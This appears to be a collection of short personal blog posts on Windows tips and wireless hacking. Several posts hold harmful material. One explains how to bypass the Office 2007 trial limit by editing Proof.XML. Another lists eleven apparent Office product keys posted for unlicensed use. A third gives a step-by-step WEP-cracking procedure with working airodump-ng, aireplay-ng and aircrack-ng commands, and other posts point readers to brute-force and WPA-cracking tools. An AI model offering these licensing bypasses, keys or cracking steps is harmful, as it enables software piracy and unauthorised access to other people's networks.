Recover Saved Wireless Key

To retrieve whatever key that was typed into the WZC profile, download WirelessKeyView from nirsoft.net.

Browse the site for other useful utilities.

Cheers!

Hacking Office 2007 Trial Version

Nice article available here.

Basically, there's 2 ways for making trial version to become a full version. The trial version (hybrid image of Office 2007 Professional) can be executed 25 times or 60 days, whichever comes first.

The best and fastest way is to do the following steps:

1. Install Office 2007 without Product Key
2. Navigate to C:\Program Files > Common Files > Microsoft Shared > OFFICE12 > Office Setup Controller > Proof.en
3. Use Notepad to open Proof.XML
4. Scroll down to the bottom of the Proof.XML to locate the following lines:
   

   </Feature> <Feature Id=”SetupXmlFiles” Cost=”1248″>
   <OptionRef Id=”AlwaysInstalled”/>
   </Feature>

5. Change the AlwaysInstalled to neverInstalled so that the line looks like following:
   

   <OptionRef Id=”neverInstalled”/>

6. Save the file. (In Vista, you'd need to run the Command Prompt as Administrator mode in order to be able to save the XML file)

If you have already installed a product key, please read the article from the link above on how to remove the appropriate registry key before re-installing the Office 2007.

As always, the "by-passed" version does not qualify for updates.

Cheers!

Office Home and Student Edition 2007

HBC66-D6YR7-CRP7H-T8VP4-99PMW
QXMDH-CRYFM-QFR87-HB783-T7RFQ
P37JV-FYJ32-YHH3T-KX7GX-7BJY3
HRMGX-K8WKJ-7FBGW-FTBCY-DWCM3
RCFMT-WFT7M-R779R-BJQMB-M2KWD
T9HJX-4C3BM-MG2R6-WC933-RCBRT
BTT7P-9HBFP-6QHM7-RFHDV-X8XWG
HWMMV-7H4DT-J2PJ6-YB8X4-VQCM6
JM2QC-KMVTP-VR8GV-HJRKQ-YWXWG
BHD34-K6BT7-T6PXP-BXKT4-X3G8D
DDH8T-C2JGD-G6MWW-6CYBV-BDTB6

Change Mainboard Without Reinstalling Windows XP

Often times, when moving the hard drive containing an existing Windows XP to a new mainboard, we need to reinstall afresh all the OS files. The typical mainboard-replace-no-reinstall-Windows scenario in the good ol' days of Win9x has gone.

This is due the much better control of the Hardware Abstraction Layer (HAL) in Windows XP or Windows 2000.

However, the following steps will try to cheat the HAL and let us keep all the Windows stuff without the painful step-by-step reinstall.

This will only work with Windows XP Service Pack 2 and Windows 2000 only (as of this writing).

This to get ready before migrating the old hard drive to the new mainboard.

1. Download the essential files from www.hkpeace.com. The files are zipped into win2khw.zip.
2. Unzip the files. Copy the 4 SYS files (ATAPI, INTELIDE, PCIIDE, PCIIDEX) to %WINDIR%\SYSTEM32\DRIVERS, where %WINDIR% is normally C:\WINDOWS.
3. Copy the MERGEIDE.REG file to the C:\.

In the event that the original mainboard is dead or malfunction, remove the hard drive to another working system as a secondary hard drive or use a boot CD such as Knoppix or BartPE CD and put those vital files into the hard drive. However, you'd need to determine (wild guess) the %WINDIR%\SYSTEM32\DRIVERS directory if you are not familiar with the original Windows installation directory.

The next step is to move the hard drive to the new mainboard. Make sure the keyboard is working. You can check this out by plugging the keyboard into the mainboard without the hard drive. Then try going into the BIOS setting to see if the keyboard responds.

1. Boot up the PC.
2. Press F8 continuously to make sure you can see the Windows Advanced Options Menu screen. This is very serious because if you fail to get into the Safe Mode, your original Windows installation is done for if it boot normally into Windows and ends up in BSOD. It would not help even if you should put the hard drive back to the old mainboard, once the BSOD occurs.
3. Select Safe Mode and boot into Windows.
4. Once inside, double-click the MERGEIDE.REG file located in C:\.
5. If new hardware detection starts, let it finish. Make sure all detections are completed. Do not boot even if you are asked to reboot.
6. If no more new hardware is detected, manually restart the PC in normal mode.
   
7. Once again, if the new hardware detection is going on, let it be.
8. Install the drivers for the new mainboard.
   

Aircrack-ng Resources

A lot of useful articles and tutorials are available at this site.

My favorite being listed here.

WEP Cracking with BackTrack 2

This is the documented WEP cracking steps using BackTrack 2, after reading the article discussed here.

1. Boot into BT2.
2. Set your wireless card using the iwconfig command to monitor mode.
3. Assuming the interface is eth0, use iwconfig eth0 mode monitor.
4. If you use Kismet, the monitor mode will be set automatically.
5. Kismet must be started in X-Windows if you do not wish to manually edit the conf file.
6. From Kismet, remember AP SSID (bssid), AP MAC, Channel and Client MAC.
7. Use airodump-ng --channel Channel --bssid AP MAC --write capturefile eth0. This will capture all packets.
   
8. Use airodump-ng --ivs --channel Channel --bssid AP MAC --write capturefile eth0 to capture IVs only.
9. The values of RXQ and PWR must be high. This will speed up the packet capture process.
10. To increase #DATA value, use aireplay-ng command.
11. Use aireplay-ng --arpreplay -b AP MAC -h Client MAC eth0. This will cause the AP to generate ARP packets, vital to increase the #DATA count.
12. To crack WEP 64 bit, you'd need at least 300K of IVs and 1500K if cracking a 128 bit WEP encryption.
13. Use aircrack-ng -z -b AP MAC capturefile*.cap (upgrade your aircrack to version 0.9.1 or later to perform PTW crack).
14. Use aircrack-ng -f 8 -x2 -b AP MAC capturefile*.ivs (to decipher IVs only).

Update aircrack-ng
Update aircrack to enable PTW cracking (faster; I cracked a WEP 64 using 8K of packets)

• wget http://download.aircrack-ng.org/aircrack-ng-0.9.1.tar.gz
• tar xvfz aircrack-ng-0.9.1.tar.gz
• cd aircrack-ng-0.9.1
• make
• make install

Install BackTrack on USB drive

• Copy all the content of the bt2final.iso to a USB drive (at least 1GB)
• Execute \boot\bootinst.bat

I noticed that using a USB drive is better in the sense that you can save the capture files for later decryption. airodump-ng will save capture file in all sessions. aircrack-ng will crack all available capture files. Be sure to put all capture files of an AP in one directory itself.

Also, you can start multiple aireplay-ng sessions if you have more than 1 Client MAC found. BT2 provides 6 pseudo-terminals. Use it to your advantage.

Cheers!

Password Cracking

Check out Brutus. It can do FTP, POP, Telnet, HTTP and a host of other brute-force and dictionary-based cracking.

Cheers!

Cracking WPA

This is another interesting articles for reading. The Cracking Wi-Fi Protected Access (WPA) is available in 2-part series.

Read Part 1 here and Part 2 here.

Cheers!

Aircrack/Aireplay Resources

Resources and command tips from here.

Main site is located at http://www.wirelessdefence.org/.

Cracking WEP

A nice and step-by-step guide available from SmallNetBuilder

Part 1: Setup & Network Recon
Part 2: Performing the Crack
Part 3: Securing your WLAN

A "reloaded" version is available here, produced 1 August 2007.

Happy reading and cracking.